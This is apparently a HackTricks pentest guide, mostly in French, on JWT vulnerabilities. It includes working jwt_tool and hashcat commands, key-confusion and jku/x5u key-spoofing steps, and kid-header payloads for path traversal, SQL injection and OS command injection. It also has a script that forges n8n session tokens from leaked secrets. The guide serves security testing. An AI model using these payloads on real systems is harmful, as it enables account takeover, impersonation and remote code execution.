JWT Vulnérabilités (Json Web Tokens)

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Une partie de cet article est basée sur l’excellent post : https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Auteur de l’excellent outil pour pentest les JWTs https://github.com/ticarpi/jwt_tool

Résultats rapides

Exécutez jwt_tool avec le mode All Tests! et attendez les lignes vertes

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Si vous avez de la chance, l’outil trouvera un cas où l’application web vérifie incorrectement le JWT :

Ensuite, vous pouvez rechercher la requête dans votre proxy ou extraire le JWT utilisé pour cette requête en utilisant jwt_ tool:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

Vous pouvez aussi utiliser la Burp Extension SignSaboteur pour lancer des attaques JWT depuis Burp.

Practical JWT assessment workflow

  • Définir le périmètre du contrôle de session : Choisissez une requête spécifique à un utilisateur (par ex., profile, billing). Supprimez cookies/en-têtes un par un jusqu’à ce que la requête soit rejetée pour isoler quel(s) token(s) contrôlent réellement l’autorisation.
  • Localiser les JWT dans le trafic : Ils se trouvent souvent dans Authorization: Bearer <JWT>, mais apparaissent aussi dans des en-têtes personnalisés ou des cookies. Si Burp ne les met pas en évidence, utilisez Target → Site map → Engagement tools → Search with regex patterns such as:
  • [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*
  • eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+
  • [= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*
  • Décoder et énumérer : Utilisez Burp JWT Editor ou python3 jwt_tool.py <JWT> pour lire header/payload. Notez alg, exp/durée du token, et les claims qui pilotent authn/authz (role, id, username, email, etc.).
  • Vérification de l’application de la signature : Inversez ou supprimez quelques octets dans la portion signature et rejouez la requête. L’acceptation implique l’absence de validation de signature et vous pouvez directement altérer les claims du payload.
  • Objectif : Modifier les claims du payload pour escalader les privilèges ; chaque attaque ci‑dessous cherche à amener le serveur à accepter un payload altéré en abusant d’une vérification faible, de secrets faibles ou d’un choix de clé non sécurisé.

Tamper data without modifying anything

Vous pouvez simplement altérer les données en laissant la signature intacte et vérifier si le serveur vérifie la signature. Essayez par exemple de changer votre username en “admin”.

Is the token checked?

Pour vérifier si la signature d’un JWT est contrôlée :

  • Un message d’erreur suggère qu’une vérification est en cours ; les détails sensibles dans les erreurs verbeuses doivent être examinés.
  • Un changement dans la page renvoyée indique aussi une vérification.
  • Aucune modification suggère aucune vérification ; c’est le moment d’expérimenter en altérant les claims du payload.

Origin

Il est important de déterminer si le token a été généré côté serveur ou côté client en examinant l’historique des requêtes du proxy.

  • Des tokens vus initialement côté client suggèrent que la clé pourrait être exposée au code client, nécessitant une investigation plus poussée.
  • Des tokens émis côté serveur indiquent un processus plus sûr.

Duration

Vérifiez si le token dure plus de 24h… peut‑être qu’il n’expire jamais. Si un champ exp existe, vérifiez si le serveur le gère correctement.

Brute-force HMAC secret

See this page.

If the header uses HS256, dump the token to a file and try offline cracking:

python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule

Une fois le secret récupéré, chargez-le comme une clé symétrique dans Burp JWT Editor et re-signez les claims modifiés.

Dériver les secrets JWT à partir de leaked config + données DB

Si une lecture de fichier arbitraire (ou un backup leak) expose à la fois application encryption material et user records, vous pouvez parfois recréer le secret de signature JWT et forger des cookies de session sans connaître les mots de passe en clair. Exemple de pattern observé dans des stacks d’automatisation de workflow :

  1. Leak la clé de l’app (p.ex., encryptionKey) depuis un fichier de config.
  2. Leak la table utilisateur pour obtenir email, password_hash, et user_id.
  3. Dériver le secret de signature à partir de la clé, puis dériver le hash par utilisateur attendu dans le payload JWT :
jwt_secret = sha256(encryption_key[::2]).hexdigest()              # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
  1. Déposez le token signé dans le cookie de session (par ex., n8n-auth) pour usurper le compte user/admin même si le hash du mot de passe est salé.

Modifier l’algorithme en None

Définissez l’algorithme utilisé sur “None” et supprimez la partie signature.

Utilisez l’extension Burp appelée “JSON Web Token” pour tester cette vulnérabilité et modifier différentes valeurs à l’intérieur du JWT (envoyez la requête vers Repeater et dans l’onglet “JSON Web Token” vous pouvez modifier les valeurs du token. Vous pouvez aussi choisir de mettre la valeur du champ “Alg” à “None”).

Changer l’algorithme RS256 (asymétrique) en HS256 (symétrique) (CVE-2016-5431/CVE-2016-10555)

L’algorithme HS256 utilise la clé secrète pour signer et vérifier chaque message.
L’algorithme RS256 utilise la clé privée pour signer le message et utilise la clé publique pour l’authentification.

Si vous changez l’algorithme de RS256 à HS256, le code back-end utilisera la clé publique comme clé secrète puis utilisera l’algorithme HS256 pour vérifier la signature.

Ensuite, en utilisant la clé publique et en passant de RS256 à HS256, nous pourrions créer une signature valide. Vous pouvez récupérer le certificat du serveur web en exécutant ceci :

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Using Burp JWT Editor, import the RSA public key (from /.well-known/jwks.json or a PEM) and run Attack → HMAC Key Confusion Attack to automate the HS256 re-sign attempt.

Nouvelle clé publique dans l’en-tête

Un attaquant insère une nouvelle clé dans l’en-tête du token et le serveur utilise cette nouvelle clé pour vérifier la signature (CVE-2018-0114).

Cela peut être réalisé avec l’extension Burp “JSON Web Tokens”.
(Envoyez la requête vers Repeater, dans l’onglet JSON Web Token sélectionnez “CVE-2018-0114” et renvoyez la requête).

JWKS Spoofing

Les instructions décrivent une méthode pour évaluer la sécurité des tokens JWT, en particulier ceux utilisant la claim jku. Cette claim doit pointer vers un fichier JWKS (JSON Web Key Set) contenant la clé publique nécessaire à la vérification du token.

  • Évaluer les tokens avec la claim “jku” :

  • Vérifiez l’URL de la claim jku pour vous assurer qu’elle conduit bien au fichier JWKS attendu.

  • Modifiez la valeur jku du token pour la rediriger vers un service web contrôlé, afin d’observer le trafic.

  • Surveillance des interactions HTTP :

  • L’observation de requêtes HTTP vers votre URL indiquera que le serveur tente de récupérer des clés depuis le lien fourni.

  • Lors de l’utilisation de jwt_tool pour ce procédé, il est crucial de mettre à jour le fichier jwtconf.ini avec l’emplacement de votre JWKS afin de faciliter les tests.

  • Commande pour jwt_tool :

  • Exécutez la commande suivante pour simuler le scénario avec jwt_tool :

python3 jwt_tool.py JWT_HERE -X s

Kid Issues Overview

Une claim d’en-tête optionnelle nommée kid est utilisée pour identifier une clé spécifique, ce qui devient particulièrement important dans des environnements où plusieurs clés existent pour la vérification des signatures des tokens. Cette claim aide à sélectionner la clé appropriée pour vérifier la signature d’un token.

Révéler la clé via “kid”

Lorsque la claim kid est présente dans l’en-tête, il est conseillé de chercher dans le répertoire web le fichier correspondant ou ses variantes. Par exemple, si "kid":"key/12345" est spécifié, il faut rechercher les fichiers /key/12345 et /key/12345.pem dans la racine web.

Traversée de chemin avec “kid”

La claim kid peut aussi être exploitée pour naviguer dans le système de fichiers, permettant potentiellement la sélection d’un fichier arbitraire. Il est possible de tester la connectivité ou d’exécuter des attaques Server-Side Request Forgery (SSRF) en modifiant la valeur kid pour cibler des fichiers ou services spécifiques. Altérer le JWT pour changer la valeur kid tout en conservant la signature originale peut être réalisé en utilisant l’option -T de jwt_tool, comme montré ci-dessous :

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

En ciblant des fichiers au contenu prévisible, il est possible de forger un JWT valide. Par exemple, le fichier /proc/sys/kernel/randomize_va_space sur les systèmes Linux, connu pour contenir la valeur 2, peut être utilisé dans le paramètre kid avec 2 comme mot de passe symétrique pour la génération du JWT.

Un schéma pratique pour le chargement fragile de clés depuis le système de fichiers consiste à générer une clé HS256 avec JWK k définie sur AA==, définir kid sur un parcours comme ../../../../../../../dev/null, puis re-signer — certaines implémentations considèrent le fichier vide comme un secret HMAC valide et accepteront des tokens forgés.

SQL Injection via “kid”

Si le contenu de la revendication kid est utilisé pour récupérer un mot de passe depuis une base de données, une SQL injection peut être facilitée en modifiant le payload kid. Un exemple de payload qui utilise une SQL injection pour modifier le processus de signature JWT est :

non-existent-index' UNION SELECT 'ATTACKER';-- -

Cette modification force l’utilisation d’une clé secrète connue, ATTACKER, pour la signature du JWT.

OS Injection through “kid”

Un scénario où le paramètre kid spécifie un chemin de fichier utilisé dans un contexte d’exécution de commande pourrait conduire à des vulnérabilités de Remote Code Execution (RCE). En injectant des commandes dans le paramètre kid, il est possible d’exposer des private keys. Un exemple de payload permettant d’obtenir un RCE et l’exposition de clés est :

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u and jku

jku

jku stands for JWK Set URL.
Si le token utilise une “jkuHeader claim alors consultez l’URL fournie. Celle-ci doit pointer vers une URL contenant le fichier JWKS qui contient la Public Key utilisée pour vérifier le token. Altérez le token pour faire pointer la valeur jku vers un service web dont vous pouvez surveiller le trafic.

D’abord, vous devez créer un nouveau certificat avec de nouvelles private & public keys

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Ensuite, vous pouvez par exemple utiliser jwt.io pour créer le nouveau JWT avec les public and private keys créées et en pointant le paramètre jku vers le certificat créé. Pour créer un certificat jku valide, vous pouvez télécharger l’original et modifier les paramètres nécessaires.

Vous pouvez obtenir les paramètres “e” et “n” d’un certificat public en utilisant :

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

If the verifier fetches key material remotely, embed a Burp Collaborator URL in jku/x5u using JWT Editor → Attack → Embed Collaborator payload. Any callback confirms SSRF-style key retrieval; then host your own JWKS/PEM at that URL and re-sign with your private key so the service validates attacker-minted tokens.

x5u

X.509 URL. Une URI pointant vers un ensemble de certificats publics X.509 (un standard de format de certificat) encodés en forme PEM. Le premier certificat de l’ensemble doit être celui utilisé pour signer ce JWT. Les certificats suivants signent chacun le précédent, complétant ainsi la chaîne de certificats. X.509 est défini dans RFC 52807 . La sécurité de transport est requise pour transférer les certificats.

Try to change this header to an URL under your control and check if any request is received. In that case you could tamper the JWT.

Pour forger un nouveau token en utilisant un certificat que vous contrôlez, vous devez créer le certificat et extraire les clés publique et privée :

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Then you can use for example jwt.io to create the new JWT with the created public and private keys and pointing the parameter x5u to the certificate .crt created.

Vous pouvez également abuser des deux vulns pour SSRFs.

x5c

This parameter may contain the certificate in base64:

Si l’attaquant génère un certificat auto-signé et crée un token forgé en utilisant la clé privée correspondante, remplace la valeur du paramètre “x5c” par le certificat nouvellement généré et modifie les autres paramètres, à savoir n, e et x5t, alors essentiellement le token forgé serait accepté par le serveur.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Embedded Public Key (CVE-2018-0114)

Si le JWT contient une clé publique intégrée comme dans le scénario suivant :

En utilisant le script nodejs suivant, il est possible de générer une clé publique à partir de ces données :

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Il est possible de générer une nouvelle private/public key, d’insérer la nouvelle public key dans le token et de l’utiliser pour générer une nouvelle signature :

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Vous pouvez obtenir le “n” et le “e” en utilisant ce script nodejs:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Finally, using the public and private key and the new “n” and “e” values you can use jwt.io to forge a new valid JWT with any information.

ES256: Récupération de la clé privée avec le même nonce

If some applications use ES256 and use the same nonce to generate two jwts, the private key can be restored.

Here is a example: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)

JTI (JWT ID)

The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed.
However, imagine a situation where the maximun length of the ID is 4 (0001-9999). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementig the ID on each request you could abuse this to replay a request (needing to send 10000 request between each successful replay).

Revendications enregistrées JWT

JSON Web Token (JWT)

Other attacks

Cross-service Relay Attacks

It has been observed that some web applications rely on a trusted JWT service for the generation and management of their tokens. Instances have been recorded where a token, generated for one client by the JWT service, was accepted by another client of the same JWT service. If the issuance or renewal of a JWT via a third-party service is observed, the possibility of signing up for an account on another client of that service using the same username/email should be investigated. An attempt should then be made to replay the obtained token in a request to the target to see if it is accepted.

  • A critical issue may be indicated by the acceptance of your token, potentially allowing the spoofing of any user’s account. However, it should be noted that permission for wider testing might be required if signing up on a third-party application, as this could enter a legal grey area.

Expiry Check of Tokens

The token’s expiry is checked using the “exp” Payload claim. Given that JWTs are often employed without session information, careful handling is required. In many instances, capturing and replaying another user’s JWT could enable impersonation of that user. The JWT RFC recommends mitigating JWT replay attacks by utilizing the “exp” claim to set an expiry time for the token. Furthermore, the implementation of relevant checks by the application to ensure the processing of this value and the rejection of expired tokens is crucial. If the token includes an “exp” claim and testing time limits allow, storing the token and replaying it after the expiry time has passed is advised. The content of the token, including timestamp parsing and expiry checking (timestamp in UTC), can be read using the jwt_tool’s -R flag.

  • A security risk may be present if the application still validates the token, as it may imply that the token could never expire.

Tools

  • jwt_tool – decoding, claim/header tampering, offline secret cracking (-C) and semi-automated attack modes (-M at).
  • Burp JWT Editor – decode/re-sign in Repeater, generate custom keys, and run built-in attacks (none, HMAC key confusion, embedded JWK, jku/x5u collaborator payloads).
  • hashcat -m 16500 – GPU-accelerated HS256 secret cracking after exporting JWTs to a wordlist.

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens \xc2\xb7 GitHub

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks